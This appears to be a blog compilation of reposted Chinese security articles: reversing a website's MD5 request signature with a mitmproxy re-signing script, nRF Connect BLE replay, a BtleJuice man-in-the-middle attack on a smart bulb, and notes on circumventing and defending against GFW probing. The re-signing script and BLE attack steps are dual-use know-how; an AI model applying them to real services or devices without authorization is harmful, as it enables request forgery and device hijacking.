JS逆向-数据包解签名实战案例

JS逆向-数据包解签名实战案例

本文转自ichi9o 并作补充

0x00 前言

通常情况下,数据包中的签名字段会包含sign字符串,如signappsign等等,然后根据字段在JS代码中寻找签名的过程,并进行分析。
以下内容为一个真实案例,撒,哈气灭路!

0x01 获取被签名数据

通过数据包可知该网站的签名字段是 sign

image

在浏览器中的源代码搜索字段sign,找到签名代码
首当其冲的就是app.*.js样式的文件,在app.72b81572.js文件中发现了可疑点

image

分析 function k(e) 可知,是要对 r 参数进行签名的,r 又跟e、t、a、n 这几个参数相关,因此要搞清楚这几个参数的值是怎么来的,所有就在函数开始的第一行就下断点来跟进。

1
2
3
4
5
6
7
8
9
10
11
12
function k(e) {
const t = g()
, n = m();
let a;
a = e ? b(e) : {};
const r = e ? `${c.a.stringify(a.hasParams)}&${t}&time=${n}` : `&${t}&time=${n}`;
return e = Object.assign({}, a.params, {
sign: h()(decodeURIComponent(r)),
time: n
}),
e
}

首先是 t,跟进 g 函数,执行到 return 就可以发现 t = 年 + “5616” + 月 + 日

image

然后就是 n,这个 e 的值呢,根据跟进可知是 cookie 里面的,不过这个 e 在本案例的作用不大,最后通过 return 就可以知道返回的值就是:当前时间戳- e

image

接下来就是 a,根据返回的结果可知 a 的值和 e 相同,通过分析数据包可知,e的内容即请求参数(GET)或请求体(POST)

image

然后 r 的值就出来了,也就是签名的明文

image

综上所述
r = 请求内容 + & + t + & + n(这里的请求内容需要注意的是,POST Data是Json格式的要转换为:key1=value1&key1=value1…)
其中
t = 年 + “5616” + 月 + 日
n = 当前时间戳(本案例可不减e也可成功)

0x02 分析加密算法

将断点打在签名代码行,跟进代码的执行,发现加密的类名是 Md5,所有可以计算 r 的 md5 值,与代码执行的 sign 结果进行比较。

image

可以看到,该网站使用的是 md5 计算的 sign

image

0x03 编写 mitmproxy 脚本

mitmproxy 脚本是实时加载的,因此 mitmproxy 只要带着脚本运行,就可以边调试了。
mitmproxy 使用命令

1
mitmdump -p 777 -s .\mitmscript.py --flow-detail 0

image

关于脚本的编写这里给出以下 mitmproxy 的一些常用的属性和方法ctx:

  • ctx.log.info(): 用于在 mitmproxy 的日志中输出信息。
  • ctx.options: 用于访问 mitmproxy 的配置选项,您可以在配置文件中定义这些选项。
  • ctx.master: mitmproxy 的 Master 对象,提供了一些控制代理行为的方法。
  • ctx.proxy: mitmproxy 的 ProxyConfig 对象,提供了有关代理配置的信息。
  • ctx.client: mitmproxy 的 ClientConnection 对象,表示客户端连接的相关信息。
  • ctx.server: mitmproxy 的 ServerConnection 对象,表示服务器连接的相关信息。
  • ctx.protocol: mitmproxy 的 ProtocolHandler 对象,表示处理请求和响应的协议处理器。

在 mitmproxy 脚本中,可以使用以下一些回调函数来处理不同阶段的 flow 对象:

  • def request(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到请求时调用此回调函数,可以获取和处理请求的各种信息。
  • def response(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到响应时调用此回调函数,可以获取和处理响应的各种信息。
  • def error(flow: mitmproxy.http.HTTPFlow) -> None: 当请求或响应出现错误时调用此回调函数,可以获取和处理错误信息。
  • def clientconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当客户端连接到 mitmproxy 时调用此回调函数,可以获取和处理客户端连接的相关信息。
  • def serverconnect(flow: mitmproxy.tcp.TCPFlow) -> None: 当 mitmproxy 连接到服务器时调用此回调函数,可以获取和处理服务器连接的相关信息。
  • flow.request.method: 获取请求的方法(GET、POST等)。
  • flow.request.scheme: 获取请求的协议(http 或 https)。
  • flow.request.host: 获取请求的主机名。
  • flow.request.port: 获取请求的端口号。
  • flow.request.path: 获取请求的路径部分。
  • flow.request.url: 获取完整的请求URL。
  • flow.request.headers: 获取请求的头部信息,是一个字典对象,可以通过键来访问特定的头部字段。
  • flow.request.cookies: 获取请求中的Cookie信息,是一个字典对象,可以通过键来访问特定的Cookie。
  • flow.request.query: 获取请求的查询参数,是一个字典对象,可以通过键来访问特定的查询参数。
  • flow.request.content: 获取请求的内容,如果请求是POST请求且带有内容,则可以通过该属性来访问请求的内容。
  • flow.request.text: 获取请求的内容,并以文本形式返回。
  • flow.request.urlencoded_form: 获取请求的URL编码表单数据,是一个字典对象,可以通过键来访问特定的表单字段。
  • flow.request.multipart_form: 获取请求的多部分表单数据,是一个列表对象,列表中的每个元素都是一个字典,表示一个表单字段。
  • flow.request.content: 获取请求的原始内容,以字节形式返回。

附上本案例的代码供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from datetime import datetime
from mitmproxy import ctx
import hashlib
import random
import json
import time


class Modify:
def __init__(self):
self.plaintext = ''
self.new_sign = ''
current_datetime = datetime.now()
self.today = f"{current_datetime.year}5616{current_datetime.month:02d}{current_datetime.day:02d}"

def md5(self):
md5_hash = hashlib.md5()
md5_hash.update(self.plaintext.encode('utf-8'))
self.new_sign = md5_hash.hexdigest()

def request(self, flow):
if flow.request.method == "POST":
ctx.log.info(f'\n原POST请求体:{flow.request.text}')
data = json.loads(flow.request.get_text())
if data != '{}' and 'sign' in data:
del data['sign']
del data['time']
for k in data:
self.plaintext += f"{k}={str(data[k])}&"
timestamp = int(time.time() * 1000)
self.plaintext += f"{self.today}&time={timestamp}"
self.md5()

data["sign"] = self.new_sign
data["time"] = timestamp
flow.request.set_text(json.dumps(data).replace(' ', ''))
ctx.log.info(f'\n新POST请求体:{flow.request.text}')
self.plaintext = ''
else:
ctx.log.info('无参数,无需改签')
elif flow.request.method == "GET":
ctx.log.info(f'\n原GET请求体:{flow.request.query}')
query = flow.request.query
if query != '{}' and 'sign' in query:
del query['sign']
del query['time']
if query:
for k in query:
self.plaintext += f"{k}={str(query[k])}&"
else:
self.plaintext = "&"
timestamp = int(time.time()) * 1000
self.plaintext += f"{self.today}&time={timestamp}"
self.md5()

query["sign"] = self.new_sign
query["time"] = timestamp
ctx.log.info(f'\n新GET请求体:{flow.request.query}')
self.plaintext = ''
else:
ctx.log.info('无参数,无需改签')

@staticmethod
def response(flow):
if '签名校验失败!' in flow.response.text:
ctx.log.error(f'\n签名异常:\nurl => {flow.request.path}\n异常信息 => {flow.response.text}')


addons = [
Modify()
]

【nRF Connect】事件记录及录播和重演

【nRF Connect】事件记录及录播和重演

本文转自强人电子 并作补充

1. 前言

nRF Connect支持缓存事件记录以及录播和重演,接下来我们看看这到底是个怎样的功能。

2. 事件记录

在连接上设备后,向左滑动可以切换到事件记录页面,同时支持多种LOG格式,如下图中连接上后执行了一次读取电量的操作:

image

image

LOG记录支持复制、保存为文件、分享和清除:

image

3. 事件录播和重演

nRF Connect支持事件的录播和重演,实质上就是在上一节记录的基础上,从某个时间点开始截取然后保存,录播是根据刚刚保存的记录对蓝牙设备进行一模一样的指令及数据操作。

在已连接界面中,点击右下角的红色部分:

image

会弹出三个图标,分别表示:

  1. 新建文件夹(用于存放后续的录播文件)
  2. 导入录播文件(导入其他地方的录播文件,本机录播的会默认显示在文件列表里,不需要导入)
  3. 开始录播

image

3.1 事件录播

  1. 创建一个“da bai”文件夹

image

image

  1. 点击第三个图标开始录播

image

  1. 开始录播后,可以发起通信事件
    顺序为:开始录播 => 读取电量 => 读取厂商信息 => 读取硬件版本号 => 读取软件版本号 => 结束录播

可以看到LOG记录是这样的:

image

命名录播文件为”read info”以及将其移动到”da bai”文件夹下:

image

image

3.2 事件重演

录播文件保存下来后,可以对其进行重演,相当于执行一遍刚刚录播的操作:

image

重演录播后,我们再去看看事件记录,确实再一次操作了录播的内容,时间间隔竟然也是一样的:

image

3.3 事件录播文件操作

录播文件支持这些操作:

  1. Export to XML
  2. Rename
  3. Move
  4. Mirror

image

这里重点聊聊 Export to XML 和 Mirror。

3.3.1 Export to XML

支持将录播文件导出为XML文件可以分享给他人使用,导出之后是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<macro name="read info" icon="PLAY">
<assert-service description="Ensure Battery Service" uuid="0000180f-0000-1000-8000-00805f9b34fb">
<assert-characteristic description="Ensure Battery Level" uuid="00002a19-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
</assert-service>
<assert-service description="Ensure Device Information" uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-characteristic description="Ensure Manufacturer Name String" uuid="00002a29-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
<assert-characteristic description="Ensure Hardware Revision String" uuid="00002a27-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
<assert-characteristic description="Ensure Software Revision String" uuid="00002a28-0000-1000-8000-00805f9b34fb">
<property name="READ" requirement="MANDATORY"/>
</assert-characteristic>
</assert-service>
<read description="Read value of Battery Level" characteristic-uuid="00002a19-0000-1000-8000-00805f9b34fb" service-uuid="0000180f-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;d&apos;" value-string="d"/>
</read>
<read description="Read value of Manufacturer Name String" characteristic-uuid="00002a29-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;YFTech&apos;" value-string="YFTech"/>
</read>
<read description="Read value of Hardware Revision String" characteristic-uuid="00002a27-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;UVWbejJZpqrsPtwuvxy&apos;" value-string="UVWbejJZpqrsPtwuvxy"/>
</read>
<read description="Read value of Software Revision String" characteristic-uuid="00002a28-0000-1000-8000-00805f9b34fb" service-uuid="0000180a-0000-1000-8000-00805f9b34fb">
<assert-value description="Assert value equals &apos;V 2.66.0329&apos;" value-string="V 2.66.0329"/>
</read>
</macro>

3.3.2 录播文件导入

导入之后自动重命名为read info 2。

image

3.3.3 Mirror

这里的镜像指的是角色镜像,比如录播文件里面你是中央设备,镜像之后你就变成了外围设备。这里必须注意当你是外围设备的时候,需要将GATT SERVICE配置成录播文件的一样的配置,具体配置方法可以参考GATT SERVICE配置,建议使用克隆方式。

4. 写在最后

在BLE开发中,同样的测试内容通常不止操作一次,此时我们可以用上本章的内容,事半功倍!

看完本文觉得有帮助点赞鼓励鼓励吧~如果有问题可以在评论区留言,大白会用光的速度回复您。想了解关于nRF Connect的更多用法及使用技巧,可以关注nRF Connect 专栏

技术分享 | 如何使用BtleJuice黑入BLE智能电灯泡

技术分享 | 如何使用BtleJuice黑入BLE智能电灯泡

本文转自seclst 并作补充

前言

在这篇文章中,我们将讨论如何使用BtleJuice通过执行中间人(MiTM)攻击来利用一个蓝牙低能耗(BLE)智能灯泡。本文中探讨的技术,也同样适用于其他基于BLE的智能设备。

image

概述

本文的主要内容包括:

1
2
3
4
5
6
7
安装BtleJuice;

分析在目标设备上运行的所有截获的GATT操作;

使用GATT操作执行Man-in-the-middle(中间人)攻击;

将数据导出到文件。

以下是一些必须满足的基本硬软件要求:

硬件

1
2
3
基于BLE的物联网智能灯泡

两个蓝牙适配器

软件

1
2
3
4
5
Node.js > 4.3.2

虚拟机(VMware/Virtual Box)

BtleJuice

安装 BtleJuice

BtleJuice是执行蓝牙智能设备的中间人攻击(也被称为蓝牙低能量)的完整框架。BtleJuice由两个组件组成 - 拦截代理和核心。这两个组件需要在两个系统上单独运行,每个系统都连接了蓝牙4.0+适配器。我们将使用一台物理机器和另一台运行在同一主机上的虚拟机(VM)。

注意:不是使用两台独立的物理机器。其中一个适配器将连接到主机,另一个适配器连接到VM。下面,我们按照以下步骤在主机和VM上来安装BtleJuice。

Step 1:Btlejuice需要一个相当新版本的node(>=4.3.2) 和npm。你可以按照本指南使用nvm(Node 版本管理器)来进行安装。

Step 2:使用包管理器安装BtleJuice的依赖项:

1
sudo apt-get install bluetooth bluez pbbluetooth-dev pbudev-dev

Step 3:安装 Btlejuice:

1
npm install -g btlejuice

设置BtleJuice代理(在VM中)

Step 1:将蓝牙适配器连接到VM并启动蓝牙:

1
service bluetooth start

image

Step 2:通过hciconfig命令查看适配器是否已按预期工作:

image

Step 3:在虚拟机中启动btlejuice-proxy:

image

Step 4:找到VM的IP地址,以便我们可以从主机连接到它。或在终端中运行ifconfig来获取IP:

image

设置BtleJuice核心(在主机上)

Step 1:在主机上打开终端并运行hciconfig:

image

Step 2:运行sudo service bluetooth stop停止蓝牙服务:

image

Step 3:在主机上插入蓝牙适配器:

image

Step 4:通过hciconfig命令查看连接到主机的蓝牙适配器是否已按预期工作:

image

Step 5:通过运行sudo hciconfig hciX up打开蓝牙适配器,其中的X是上一步中获得的蓝牙适配器号:

image

Step 6:现在我们需要运行BtleJuice核心并连接虚拟机:

1
sudo btlejuice -u <VM IP address> -w

其中u是运行btlejuice-proxy的VM的IP地址,w表示启动Web界面:

image

与此同时,在VM中运行的btlejuice-proxy将会显示客户端连接的消息:

image

Step 7:一旦主机上运行的BtleJuice核心成功连接到bltjejuice-proxy,我们打开浏览器并导航至http://localhost:8080/:

image

Step 8:单击蓝牙图标的 “Select Target”按钮。此时将会出现一个对话框,并显示核心检测到的所有可用蓝牙设备:

image

Step 9:双击目标设备并等待接口准备就绪(蓝牙按钮方面将改变):

image

Step 10:将关联的移动应用程序与刚创建的dummy设备连接:

image

Step 11:如果连接成功,则主界面上将显示已连接的事件:

image

通过重放GATT操作执行中间人攻击

BtleJuice充当移动应用程序和BLE智能灯泡之间的代理,发送到灯泡的任何命令都将被BtleJuice捕获并被转发给灯泡。

让我们使用移动应用程序与灯泡进行交互,并尝试破译命令的结构方式。

Step 1:使用Android应用程序将灯泡颜色更改为蓝色,蓝色的RGB值为:2, 0, 255:

image

BtleJuice捕获相应的数据包:

image

现在将灯泡颜色更改为红色,RGB值为: 255, 8, 0:

image

BtleJuice捕获与命令相对应的数据包,以将颜色更改为红色:

image

检查数据包,我们可以注意到一个模式。应用程序中显示的颜色的RGB值与捕获中的第二个,第三个和第四个字节匹配。

因此,如果我们更改这些字节然后重放数据包,应该能够获得不同的颜色。

Step 2:从捕获的数据包列表中,右键单击颜色更改命令,然后单击replay:

image

Step 3:将数据值中的颜色字节从8c 86 ff更改为任何其他值,例如8c 45 ff,这是一种带有紫色调的颜色:

image

image

Step 4:单击“ Write”按钮。 我们会注意到灯泡颜色变为了紫色:

image

导出捕获的数据

BtleJuice可以将捕获的数据导出到文件中,以便以后使用或在其他工具中进行分析。

单击export按钮并下载捕获数据的JSON(或文本)版本:

image

至此,我们已经演示了BtleJuice作为独立工具的使用。

此外,BtleJuice还提供了NodeJS和Python bindings,我们可以在我们自己的BLE攻击工具中使用它。有关更多信息,请参阅此处

关于科学上网的流行说法

关于科学上网的流行说法

本文转自Clouder 并作补充

前言

本文意在分析一些经常被提及、引起争论的问题。

为什么不用 V2RAY/Trojan

由于直连打击力度较大,个人自建需要使用更不易被封锁的协议。很多人宣传 V2RAY Trojan 等,事实上对直连也许是有一定帮助的。

但是大部分机场都是中转线路,使用 V2RAY 显得太重,消耗服务器资源大,而实质上并没有什么帮助,因此更青睐老牌的、生态更好的 Shadowsocks 及 ShadowsocksR。

Trojan 也是类似的。

因此发表一些“不用 V2RAY 不怕被封吗”之类的言论,并不明智。

以下是部分大佬对此的看法。(如有冒犯,请联系删除)

image

image

image

image

(本句在当时语境下类似于玩笑话,其本人无任何贬低 Trojan 的意思。)

不可否认,新的协议的出现是必然且有意义的,但其出现一般都是为了解决现有问题。

例如 V2RAY 试图解决的是严重封锁,而 Trojan 试图解决的是 V2RAY 过重的问题。

而机场线路,公网隧道、专线,大概没有此类需求。

此外,Shadowsocks 与 ShadowsocksR 的生态相对成熟。

关于 Shadowsocks 与 ShadowsocksR 有如下说法:

  1. Shadowsocks 每个用户需要占用一个端口,部署可能不便。而 ShadowsocksR 支持端口复用模式。
  2. ShadowsocksR 停止维护,且加密程度相对 Shadowsocks 更高,意味着效率、性能相对较劣,但有传 ShadowsocksR 能缓解 QOS 问题。

目前看来,Shadowsocks 协议支持最为广泛。

以上内容为笔者个人见解,如有谬误,敬请斧正。

IPLC 天下第一吗?

首先,看看毒药博客中的介绍。

  • IPLC: “International Private Leased Circuit”的缩写,即“国际专线”。不过大部分机场通常看到的 iplc,都只是阿里的经典网络,跨数据中心内网互通,阿里内网,并不是严格意义的 iplc 专线;当然也有其他渠道的,或真 iplc,不过比较少。阿里云的内网互通底层原理是通过采购多个点对点的 iplc 专线,来连接各个数据中心,从而把各个数据中心纳入到自己的一套内网里面来。这样做有两个好处,其一是 iplc 链路上的带宽独享,完全不受公网波动影响,其二是过境的时候不需要经过 GFW,确保了数据安全且不受外界各种因素干扰。但是需要注意一下阿里云的 iplc 也是有带宽上限的,如果过多的人同时挤到同一条专线上,峰值带宽超过专线的上限的话也同样会造成网络不稳定。其他渠道购买到的 iplc 价格很高,阿里云内网这种性价比超高这种好东西且用且珍惜。
  • IEPL 国际以太网专线(International Ethernet Private Line,简称 IEPL),构建于 MSTP 设备平台上,基于 SDH 传输技术,采用 GFP 封装,传输协议透明,物理层隔离,带宽保证,提供一层点对点数据专线服务。IEPL 是以太网接口的增强型的 IPLC 产品,是一个端到端的专享管理频宽服务,拥有高度灵活性及最高物理层网络安全功能,让客户轻松管理广域网和高带宽需求的应用。通俗的总结一下,IEPL 使用某种技术,实现了两点之间的高稳定性的数据传输。这与 IPLC,MPLS 是差不多的效果,只是实现的技术手段有区别而已。其实对机场来说,是 IPLC 或者 IEPL 或是 MPLS-VPN,都没有太大区别。认定是保障带宽的不过墙专线就行了,至于是用哪种技术方案实现的,根本不需要纠结。
  • BGP:BGP 的实际意思通常是一个 IP 在多个运营商的网络中均为直连,不经过第三运营商,利用 iptables 或相关软件通过将去海外 VPS 的流量加一层国内转发。不过不同机场的定义也不一样。正常来说比如 rixcloud,指的是他们入口是阿里云、部分落地节点是自己起了 BGP(去 Peer 了 GitHub、微软、Cloudflare 等等)。不过多数机场把 BGP 定义为阿里云公网中转等。
  • 中转:将数据从一个服务器重定向到另外一个服务器。机场中比较常见的是阿里云公网中转,其实也有很多其他中转,也有自己去买其他的 BGP 来中转的。
  • 「原生 IP」:所谓原生 IP 通常意思为当地运营商原本就拥有的 IP;广播国家一般和注册国家相同(一般的 IP 库不会误判地区),一般不用于公有云计算服务或 IP 声誉好,一般能够用来解锁 Netflix、HBO、Hulu 以及其它有限制的流媒体服务
  • 流媒体解锁:很多流媒体服务平台如 Netflix 会出于版权原因而限制一些特定 IP 的访问。一般来说网络运营商(如 HKT)自己持有的 IP,比如商宽、家宽,极少被屏蔽,因为这些 IP 大多是流媒体服务商的目标客户在使用。家宽 IP 被屏蔽的几率是最低的,很多 ISP 的家宽都是动态 IP 的,很难精准封杀。固定 IP 的商宽其次。这些流媒体服务商也怕误杀导致投诉,比如 GCP 的 IP 段被投诉之后又可以看 Netflix 了。IDC 商家所持有的 IP 一般会被屏蔽,越大越有名的 IDC 持有的 IP 被屏蔽的几率越高。很多 IDC 会租用运营商的 IP 从而绕过此类封杀,但是这种方式并不是万无一失的,翻车案例比较多我就不再一一例举了。所以除非是商宽、家宽,其他所谓的“原生 IP 解锁流媒体”都是有几率翻车的。
  • CN2:是电信的精品骨干网。首先 CN2 是一张运营商骨干网,就像电信 163、中国移动这一类是同样性质的东西,但相对电信 163 来说会有更好的稳定性。不是什么专线(和 iplc 那类东西区分清楚)。既然是公网,那它本质上就是个很多人共享使用的东西。共享的东西都存在一定程度的不稳定性。区别在于它的超售比较低,相对电信 163 来说会有更好的质量。CN2 的跨国数据通讯也需要经过 GFW 审查,不存在不过 GFW 的公网。

在谈及 IPLC 时,一般泛指专线。专线相对于公网中转有如下优点:

  1. 不经过 GFW,也就是所谓的不过墙。
  2. 链路宽带独享,不受公网波动影响。

一个中转节点应该是这样的:

image

IPLC 速度快

一般来说,用户更关心的速度是“网速”,也就是宽带大小。

而使用专线并不能改变宽带的容量,因此盲目地认为 IPLC 网速快是毫无根据的。

IPLC 延迟低

专线传输,理论上延迟的确更低。 排除掉机场过度超售、宽带跑满丢包、软件出锅等问题,专线在此方面的确有优势。 虽然一般用户无需过多在意延迟。

IPLC 稳定

专线传输的稳定,主要体现在链路宽带独享,不容易受公网波动影响。 但上游依然会出问题,例如机房事故等等。 而高质量的公网可靠性并不差。

IPLC 安全

不经过 GFW 的处理,在某种意义上安全了。 但专线传输数据仍受到监管,如 ssrcloud 的中日专线有人访问邪教网站遭到警告。

注重隐私请使用 no-log VPN、多层跳板等方式,而不要轻信提供科学上网服务的机场还能保护你的安全。 一般人无需对此过于敏感。

IPLC 贵

专线宽带的价格的确高昂。

下图为花卷科技的 IPLC 专线宽带价格。

image

即使有钻石分销的六折,每 Mbps 也高达 210RMB,每 100 Mbps 价格要达到两三万元。

然而,其实还有更高贵的。如下图,北京动态 BGP 全穿透多线宽带。

image

上图为微网聚力官网的价格表,可以看到最高贵的宽带每 100 Mbps 高达五万元每月。

事实上,单比较价格意义不大,因为可以这样部署:

image

总结

以上内容亦非绝对,笔者目的不在于否定专线等等,而在于提醒各位读者更理性、全面地看待线路,而不要迷信专线等。

100Mbps 的专线给 100 人用,体验可能并不如 1Gbps 的公网隧道给 100 人用。

其实,用户对节点线路无需过多关注,而只需要关注用户体验。用起来好就行,不必在意机场主用了什么神秘的操作。

最后,来点佩奇笑话。

image

image

订阅转换偷订阅

不可否认,在技术上的确是可行的。 然而,让我们看看搭建订阅转换服务的都是什么大佬吧。

bianyuan

边缘订阅转换 API,笔者使用的第一个订阅转换 API。

Sabrina,博客地址为 https://merlinblog.xyz/,N3RO 机场的大佬。

撰写了大量教程,对社区的贡献毋容置疑。对于转换偷订阅的说法,其本人亦有过回应:

image

nameless13

https://api.nameless13.com/,也是相当知名的订阅转换 API 了。

Nameless13,魅影的管理员,撰写了魅影各类教程

gfwsb.114514.best

https://gfwsb.114514.best/,这域名震撼我一万年……

TindyX,subconverter项目的作者。

总结

以上只是订阅转换的一部分。笔者想借此说明的是,搭建这种公益服务者通常为大佬,并不会眼馋你的订阅。 当然并不排除有作恶者存在。 实在担心,建议使用本地版的 subconverter,避免此问题。

Surfboard 快

笔者无端猜测,有小白看了某知名 youtuber 的各大软件速度对比后,认为 Surfboard 更快。

笔者未进行相关测试,但必须指出: 软件并不是网速的主要影响因素,且无明显缺陷的软件,在速度上并不会有太大差异。

网速的主导因素,是线路质量。包括但不限于设备到路由器、家庭宽带到国内入口、国内入口到国内出口、国内出口到国际落地、国际落地到目标服务器的线路质量。

Surfboard 是一个相当优秀的客户端,但请不要以“网速最快”等说法夸赞推荐它,否则可能引发不必要的争端。

关于网速的一些思考

使用 youtube 进行网速测试,会受到硬件性能等因素影响,测速应使用更专业的工具。

据传,旧版本的 Clash For Android 使用的内核有一定的性能问题,已经更换。(来源不详,不必当真)

理想的中高端机场,应当能达到 100Mbps 及以上的速率,选用软件对网速的影响不必多虑。

关于软件速度的一些思考

一般来说,功能越复杂,速度就越慢。在路由器上跑规则复杂的 Clash,可能对网速有较大影响。

使用 PC 客户端,基本不用考虑。移动设备可能有一定影响,但并不大,无需太在意。

此处速度为泛指,结论纯粹笔者臆想,不足为据。

总结

撰写本文的目的,并不是想否定、批评广为流行的某些说法,而是想否定盲目地迷信某些说法的行为。 例如,对机场不提供 V2RAY 提出质疑的小白,吹捧 IPLC 强无敌的小白,认为 Surfboard 天下第一的小白等等……

本文也无意提出什么说法,而仅仅想说明:没有什么是绝对的。请理性评判,不要迷信权威。

That’s All.

引用

  1. ShadowsocksR 端口复用 原文 ↩︎
  2. ShadowsocksR 缓解 QOS 问题 原文 ↩︎
  3. 花卷科技钻石分销 原文 ↩︎
  4. 微网聚力价格表 原文 ↩︎
  5. 几乎所有订阅转换都基于 subconverter↩︎
  6. CFA Release ↩︎

防御GFW主动探测的实用指南

防御GFW主动探测的实用指南

本文转自Great Firewall Report 并作补充

在近期的IMC’20的工作中(论文, 演讲),我们揭示了中国的防火长城采用流量分析主动探测相结合的手段来检测和封锁Shadowsocks服务器。

在这篇短文中,我们将分别向技术小白和翻墙软件开发者提供防御GFW主动探测的实用建议。 我们还将介绍Len et al.展示的partitioning oracle攻击的缓解办法。 如果在遵循了本文的建议后,你的Shadowsocks服务器仍被封锁,请将封锁情况汇报给GFW Report以及相应的开发者。

给用户的建议

根据我们的测试和来自开发者的报告,在采用了适当的配置后,以下两个Shadowsocks实现的最新版本已经可以抵御来自GFW的主动探测:Shadowsocks-libevOutlineVPN

针对Shadowsocks-libev的使用建议

如果你决定使用Shadowsocks-libev,我们强烈建议你根据这篇教程来部署一台抗封锁的Shadowsocks-libev服务器。我们会时刻更新那篇教程的,以应对之后新出现的针对Shadowsocks的识别和攻击。

如果你已经拥有了一台Shadowsocks-libev服务器,你可以根据以下规则来确认你的服务器是否配置得可以对抗GFW的主动检测和封锁。

截止2021年1月,你需要做到以下几点来防止你的Shadowsocks-libev服务器被封锁:

  1. 确保你的服务器版本为v3.3.1及以上。你可以通过以下命令查看服务器的版本ss-server -h
  2. 使用AEAD ciphers, 而不用 stream ciphers。换句话说,仅在以下几种加密方式中进行选择:chacha20-ietf-poly1305 (推荐), aes-256-gcm, aes-192-gcm或者aes-128-gcm

为了缓解针对Shadowsocks的partitioning oracle攻击,你需要:

  1. 使用一个长的随机密码。这样的密码可以用以下命令在终端生成: openssl rand -base64 16;
  2. 禁用UDP模式。

注意:针对客户端没有特殊的要求,任何与Shadowsocks-libev服务器兼容的客户端均可。

针对OutlineVPN的使用建议

为了防止你的OutlineVPN服务器被GFW封锁,你需要做到以下几点:

  1. 使用最新版的从官网下载的服务端。
  2. 使用最新版的从官网下载的客户端。

注意:

  1. Outline会自动生成一个长的,随机的密码,因此你不必像为Shadowsocks-libev那样手动配置密码。
  2. Outline服务端会自动更新,因此你不必手动升级服务端。
  3. Outline只采用chacha20-ietf-poly1305这一种AEAD cipher作为加密方式,因此你不必手动选择加密方式。

给翻墙软件开发者的建议

下面我们介绍我们发现的GFW的最新审查能力,并附上我们给翻墙软件开发者的相应建议。这些建议不仅对Shadowsocks,而且对其他许多翻墙软件都有用。 我们欢迎你加入我们的讨论,分享你的想法,评论,疑惑和关切。

正确的校验

首先,我们强烈建议翻墙软件的开发者们彻底废除不具备校验的加密构造。仅仅有保密性是不够的。

  • 对于新开发的翻墙软件来说,这意味着根本不应考虑支持不具备校验的加密构造。
  • 对于现存的翻墙软件来说,这意味着开发者应该勇敢地移除所有与不具备教研的加密构造相关的代码,即使以不向下兼容为代价。

我们这看似大胆的建议实际上出于合理的原因。如我们在论文中所介绍的, 一些类型的GFW主动探测会利用Shadowsocks的stream ciphers的malleability。这已经不是第一次不具备校验的加密结构造成漏洞了。事实上,不具备校验的加密结构是许多Shadowsocks和其他翻墙软漏洞的根本来源。

早在2015年8月,BreakWa11发现了一个关于Shadowsocks的stream ciphers的漏洞。这个漏洞是由于缺乏数据完整性保护而造成的(英文总结)。 在2020年,类似的漏洞又被发现存在于V2Ray中(总结)。

当Shadowsocks开发者试图引入one time auth模式来缓解2015年的那个漏洞时,另一个因数据长度缺乏完整性保护的主动探测又被引入了英文总计)。

2020年2月,Zhejiang Peng发现了一个关于Shadowsocks stream ciphers的灾难性的漏洞,(英文总结)。 利用使用了stream cipher的Shadowsocks服务器作为decryption oracle,攻击者可以在不需要密码的情况下,完全解密Shadowsocks会话。

其实早在2017年2月,AEAD ciphers就已经成为了Shadowsocks协议的一部分。而校验问题也理应在那时就被解决了。但实际情况是,截止2021年,大量的服务器仍然因为使用被废弃的stream ciphers而存在着安全隐私漏洞,以及被准确识别的风险。

这样的现象表明,在实际操作中,许多的用户不能够正确的选择加密方式。这可能与使用过时的教程或一键脚本有关。 我们因此鼓励开发者从Shadowsocks各实现中彻底移除stream ciphers,帮助用户做出正确的选择。

使用同时基于nonces和时间的重放过滤器

我们建议翻墙软件的开发者们采用同时基于nonces和时间的重放过滤器。 因为采用基于时间的重放过滤器需要对Shadowsocks协议进行根本性地变动,我们建议开发者至少要此采用基于nonces的过滤器,并且做到:

  1. 要么建议用户在每次过滤器重置后修改密码;
  2. 要么开发一个机制,可以让重放过滤器在软件重启后依然记得之前的nonces。

这些建议是基于以下的研究发现和推论。 如论文的section 3.5所介绍的, GFW既可以在观察到一个合法连接的瞬间对其进行重放;也可以等待三周甚至更长时间后才重放。 因此,一个更加合理的主动探测模型应该允许审查者在任意时长后对合法连接进行重放。

这样的一个主动探测模型揭示了纯粹基于nonces的重放过滤所须要面对的不对称性。GFW仅用少量资源就可以记录一些合法的连接,并且在经过任意的时长后再重放它们;但与此同时,Shadowsocks需要大量的资源和相对复杂的实现来永久性地记住所有的合法链接,直至密码被更换。 注意,Shadowsocks服务器必须在重启后还记住这些nonces;否则重放过滤器不会过滤基于重启前的合法连接的重放。

幸运的是,这个不公平的局面可以通过同时引入基于时间的重放过滤机制来扭转:服务器只需要处理并验证时间戳未过期的连接,就像VMess服务器那样。 如此一来服务器就不需要永久性地记住所有合法连接中的nonces。

我们还想强调,对于那些仅仅短暂暴露变化的监听端口的翻墙服务器,重放过滤仍是必要的。因为GFW可以瞬时重放合法连接中的第一个数据包,而这时暴露的监听端口因为未完成数据传输,依然是开启的。

让服务器的反应保持一致

我们建议开发者们确保翻墙服务器在正常运行时,和遇到不合法的连接时都反应一致。理想情况下,可以按照Frolov et al.的建议,让服务器遇到错误连接时“read forever”。 这是因为,审查者会故意触发协议的边边角角等特殊情况,来识别服务器指纹。

